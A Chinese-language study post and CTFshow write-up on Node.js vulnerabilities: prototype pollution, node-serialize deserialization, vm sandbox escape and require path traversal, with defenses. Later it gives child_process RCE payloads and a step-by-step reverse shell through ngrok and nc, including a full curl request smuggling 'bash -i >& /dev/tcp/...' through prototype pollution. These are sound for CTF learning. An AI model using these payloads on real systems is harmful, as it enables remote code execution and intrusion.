CTFSHOW的node.js漏洞

一,基础知识

0,和我们之前学的php和apache配合的服务的区别

node.js

利用 V8 引擎,JavaScript 代码执行速度快、性能高

单线程和事件驱 动架构:Node.js 使用单线程来处理请求,但通过事件驱动和非阻塞 I/O 操作的特性,使其可以高效地处理大量并发连接,而不会阻塞线程。

异步和非阻塞 I/O:这使得 Node.js 能够处理高并发的请求,非常适合 I/O 密集型应用,如文件读取、数据库操作和网络请求。

node.js原来出现的原因是当时的前端何后端的联系较少,分离下难以协调,后端又是单请求单线程,当发生多个请求时,占用内存极大,node.js的出现人通过Node.js 是一个基于 Chrome V8 引擎构建的 JavaScript 运行时环境,它允许开发者使用 JavaScript 编写服务器端程序。它的核心特性包括 事件驱动(Event-driven)非阻塞 I/O(Non-blocking I/O),这些特性使 Node.js 非常适合处理高并发、I/O 密集型的应用场景(如 Web 服务器、实时通信应用等)。下面分别解释这两个概念:

1. 事件驱动(Event-driven)

  • 定义:Node.js 使用事件驱动模型来处理请求和响应。这意味着程序的执行流程是由事件(如用户请求、文件读取完成、数据库查询返回等)触发的,而不是按照固定的顺序执行。

  • 机制

    • Node.js 内部维护一个 事件循环(Event Loop)

    • 当某个异步操作(如读取文件)开始时,Node.js 不会等待它完成,而是注册一个回调函数(callback),并继续执行后续代码。

    • 当异步操作完成后,系统会将对应的事件放入事件队列中。

    • 事件循环会不断检查事件队列,并在主线程空闲时执行相应的回调函数。

  • 优点

    • 提高了程序的响应速度和吞吐量。

    • 能够高效地处理大量并发连接。

2. 非阻塞 I/O(Non-blocking I/O)

  • 定义:在传统的阻塞 I/O 模型中,当程序发起一个 I/O 操作(如读取文件或网络请求)时,会一直等待该操作完成,期间不能执行其他任务。而非阻塞 I/O 则允许程序在等待 I/O 操作完成的同时,继续执行其他任务。

  • 实现方式

    • Node.js 的 I/O 操作(如文件系统操作、网络请求等)默认是非阻塞的。

    • 通过回调函数、Promise 或 async/await 来处理异步操作的结果。

3,关于js的函数知识

复制代码
http://js的基本语法
  • 创建对象的方式

  • 使用大括号{}去创建对象,访问对象中的值的话,通过对象名点属性名的方式

  • 如果访问的键不存在,则返回undefined

复制代码
  • 对象的取值

  • 对象不仅可以使用点的方式去访问

  • 也可以使用中括号的方式,中括号里面可以写一个变量,写字符串也可以

(1)函数的继承和原型链(和python的继承类似)

(2)函数的闭包(在全局变量访问一个函数中的函数时,最内层的函数带有外部的变量,实现了从外部访问内部的变量

(3)函数的柯里化()在闭包的基础上实现

(4)函数的匿名

二,讲解node.js可能的漏洞

,主要的攻击类型有:

(1)dos攻击,因为是单线程处理,当出现一个非i/o请求时,一个永真语句时,可能会一直卡死

(2)原型链污染

1. "原型链污染"(Prototype Pollution)

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascripthttp://原型链污染

是什么?

JavaScript 中所有对象都继承自 Object.prototype,而 __proto__ 是指向原型的引用。 原型链污染 = 攻击者通过可控输入(如 JSON 解析),向 Object.prototype 注入恶意属性,导致所有对象意外获得该属性,从而绕过逻辑判断或触发异常行为。

JavaScript 的"原型链" ≈ Python 的"类继承链"

但注意:JS 没有"类"(早期没有,ES6 的 class 只是语法糖),它用 对象 → 原型 → 原型的原型... 这种链条来实现属性查找,就像 Python 对象找属性时会沿着 类 → 父类 → 父父类... 找一样。

原理图解:

代码原文:

复制代码
11  // 用户输入(恶意)
22  let input = '{"a": 1, "__proto__": {"isAdmin": true}}';
33  
44  // 服务端代码(危险!)
55  let data = JSON.parse(input);   //  不过滤 __proto__
66  
77  console.log(data.isAdmin);      // undefined
88  console.log({}.isAdmin);       // true! → 所有空对象都"变管理员"
  • let:ES6 引入的变量声明关键字,作用域为块级(block-scoped),比 var 更安全。

json

复制代码
1{
2  "a": 1,
3  "__proto__": {
4    "isAdmin": true
5  }
6}

写出来

{ "a": 1, "proto": { "isAdmin": true } }

java

复制代码
1{
2  a: 1,
3  __proto__: { isAdmin: true }
4}

2. "node-serialize 反序列化"

是什么?

指使用第三方库 `node-serialize`(已废弃)进行对象序列化/反序列化时,因内部用 eval() 执行函数字符串导致的 RCE 漏洞

原理:

  • 序列化函数时,该库将其转为特殊格式:js 编

防御:

  • 绝对不要用 node-serialize
  • JSON.stringify + JSON.parse(但无法传函数)
  • 如需传函数,改用 Function.toString() + 安全沙箱(如 vm2

关键口诀:_$$ND_FUNC$$_ = 你的 shellcode 入口


3. "vm 沙箱逃逸"(VM Sandbox Escape)

是什么?

Node.js 的 vm 模块可创建隔离的 JavaScript 执行环境(沙箱),但若配置不当,攻击者可通过原型链、构造器等手段跳出沙箱,访问全局对象(如 process,实现 RCE。

⚙️ 原理(经典逃逸路径):

js

复制代码
1// 沙箱内代码(用户可控)
2this.constructor.constructor("return process")().mainModule.require('fs').readFileSync('/flag','utf8')

分解:

  1. this → 当前上下文对象(在沙箱中可能是 {}
  2. this.constructorObject
  3. Object.constructorFunction
  4. Function("return process")() → 动态创建函数并执行 → 返回 process 对象

进阶逃逸方式:

  • Buffer.constructor.from(...) → 获取 global
  • Reflect.apply + Function.prototype.call 绕过限制
  • 利用 new Function() 的闭包作用域访问外部变量

防御:

  • 使用 vm2(安全沙箱库,阻止原型链访问)
  • 禁用 constructor__proto__global 等敏感属性
  • 限制沙箱内可调用的模块(白名单)

关键口诀:沙箱不等于牢笼,constructor.constructor 是万能钥匙


4. "动态 require 路径遍历"(Dynamic require Path Traversal)

是什么?

服务端根据用户输入动态拼接路径,用 require() 加载模块,但未对输入做校验,导致攻击者通过 ../ 等路径穿越,加载任意文件(如 /flag,甚至执行恶意 JS。

原理:

复制代码
1// 危险代码
2app.get('/load', (req, res) => {
3  const module = req.query.m;
4  const mod = require(module);  //  用户控制 module
5  res.send(mod);
6});

攻击请求:

文本

复制代码
1GET /load?m=../../flag

→ Node.js 尝试 require('/app/../../flag') → 实际读取 /flag 文件内容(作为 JS 模块解析,可能报错但泄露内容)

:高级技巧:

  • require('fs').readFileSync('/flag','utf8') 直接读(如果允许 require('fs')
  • 构造 .js 后缀绕过:page=../../../flag.js
  • 在 Windows 上用 ..\\..\\flag

防御:

  • 永远不要用用户输入拼接 require() / fs.readFile() 路径
  • 使用白名单:['home', 'about', 'contact']
  • path.resolve(__dirname, userInput) 并校验是否仍在预期目录内

关键口诀:require(userInput) = 开放系统文件读取权限


四者对比总结表

表格

漏洞类型 根本原因 典型触发点 利用目标 是否需交互
原型链污染 __proto__ 可写入 JSON.parse() 绕过权限 / 修改行为 ✅ 需发请求
node-serialize 反序列化 eval() 执行函数字符串 unserialize() RCE(读 flag) ✅ 需 cookie/payload
vm 沙箱逃逸 沙箱未隔离构造器链 vm.runInContext() 获取 process / RCE ✅ 需输入代码
动态 require 路径遍历 未过滤路径参数 require(userInput) 读敏感文件 ✅ 需 URL 参数

三,CTFshow web入门nodejs

web334

user.js发现username: 'CTFSHOW', password: '123456'

源码在login.js,发现登录成功会拿到flag,即重点看登录部分

源码将字符大写,直接输入小写的内容即可

web 335

require('child_process').exec('ls')

cp.execSync('ls').toString() **cp是缩写

?eval=require('child_process').execSync('cat f*')

复制代码
/?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

匹配所有的f开头的文件

?eval=require("child_process").execSync("cat fl00g.txt", {encoding:"utf8"})

require('child_process').execSync('cat /文件路径', { encoding: 'utf8' })

eval(函数):

web 336

直接文件读取

/?eval=require('fs').readdirSync('.')

/?eval=require('fs').readFileSync('fl001g.txt')

1,?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

2,先尝试能不能直接读取原码

/?eval=__filename

/?eval=require('fs').readFileSync('/app/routes/index.js').toString()

?eval=require('child_process')['exe'%2B'cSync']('ls').toString()

web 337

?a[]=1&b=1

和之前的php一样,这里md5的处理方式,可以识别数组,但是数组和对应的1不等于

web338

复制代码
{"__proto__":{"ctfshow":"36dboy"}}

web339

由于 Node.js 默认不会自动暴露 requireFunction 创建的函数,因此这里用process.mainModule.constructor._load 替代 require来包含child_process

这题的目标不是"读取输出",而是"建立外部控制会话",因此异步 exec 足以完成"执行命令"的动作,而且更贴合反连的使用场景:父进程不被阻塞,持续提供服务

第二步:配置 ngrok(只需一次)

打开终端(CMD / PowerShell / Terminal),进入 ngrok 所在目录

Linux / macOS:

复制代码
1# 赋予执行权限(首次)
2chmod +x ngrok
3
4# 配置 authtoken(替换 YOUR_TOKEN 为你的实际 token)
5./ngrok config add-authtoken YOUR_TOKEN

Windows (CMD):

cmd

复制代码
1ngrok.exe config add-authtoken YOUR_TOKEN

成功后会在用户目录生成配置文件(如 ~/.ngrok2/ngrok.yml


第三步:启动 TCP 隧道(用于反向 Shell)

关键:CTF 反弹 shell 用的是 TCP 协议,不是 HTTP!

命令格式:

bash

复制代码
1./ngrok tcp 本地端口

示例(监听本地 8888 端口):

bash

复制代码
1./ngrok tcp 8888

输出示例:

复制代码
1Session Status                online
2Account                       your_email (Plan: Free)
3Version                       3.4.0
4Region                        United States (us)
5Web Interface                 http://127.0.0.1:4040
6Forwarding                    tcp://0.tcp.us.ngrok.io:12345 -> localhost:8888

记下这行:tcp://0.tcp.us.ngrok.io:12345

这就是你的 公网地址和端口!靶机会连这个地址。


第四步:启动 nc 监听本地端口

另一个终端窗口运行:

bash

复制代码
1nc -lvvp 8888

这个端口必须和 ngrok tcp 8888 中的端口一致!


五步:构造 CTF Payload

将 payload 中的 IP 和端口 替换为 ngrok 提供的地址:

原始 payload(需修改):

bash

复制代码
1bash -i >& /dev/tcp/你的公网IP/8888 0>&1

修改后(使用 ngrok):

bash

复制代码
1bash -i >& /dev/tcp/0.tcp.us.ngrok.io/12345 0>&1

注意:域名和端口都要改!(不是只改 IP)

完整 curl 攻击命令示例:

bash

复制代码
1curl -X POST "http://靶机地址/api" \
2  -H "Content-Type: application/x-www-form-urlencoded" \
3  -d '_proto_%5Bquery%5D=return%20global.process.mainModule.constructor._load%28%27child_process%29.exec%28%27bash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F0.tcp.us.ngrok.io%2F12345%200%3E%261%5C%22%27%29'

第六步:坐等 shell 弹出!

  1. 保持 nc -lvvp 8888ngrok tcp 8888 运行

  2. 发送上述 curl 请求

  3. 几秒后,你的 nc 终端会显示:文本

    复制代码
    1connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54321
    2bash: cannot set terminal process group...
    3root@target:/app#

发起tcp时需要一张信卡绑定

所以尝试http

{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/http/hankering-cannot-clambake.ngrok-free.dev 0>&1\"')"}}

post传:{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}

web 340

要求isAdmin为true才可以通过,但是isAdmin已经被赋值为false了,因此在这里没办法污染

继续分析,可以看到api.js跟上题一样,因此可以用上题的方法来污染query反弹shell

但是如果直接传入__proto__,再访问/api会发现行不通

{"proto":{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/自己ip/端口 0>&1\"')"}}}

web 341

{"proto":{"proto":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/靶机ip/端口 0>&1\"');var __tmp2"}}}

相关推荐
zhensherlock17 小时前
Protocol Launcher 系列:Tally 快速计数器的深度集成
前端·javascript·typescript·node.js·自动化·github·js
接着奏乐接着舞。21 小时前
【Node】用来处理CPU密集型任务的利器Worker Threads
node.js
不会敲代码11 天前
RAG 进阶:从网页加载到智能文档分割
langchain·node.js
heyCHEEMS1 天前
记录一下自动化构建中 SSE 与子进程管理的三个坑
javascript·node.js
qq_229058011 天前
Volta的下载、安装使用教程
node.js
zh_xuan1 天前
node.js搭建http服务
node.js
zhensherlock1 天前
Protocol Launcher 系列:Working Copy 文件操作与高级命令详解
javascript·git·typescript·node.js·自动化·github·js
freewlt2 天前
VS Code 扩展开发:集成 GitHub Copilot 的完整指南
vscode·node.js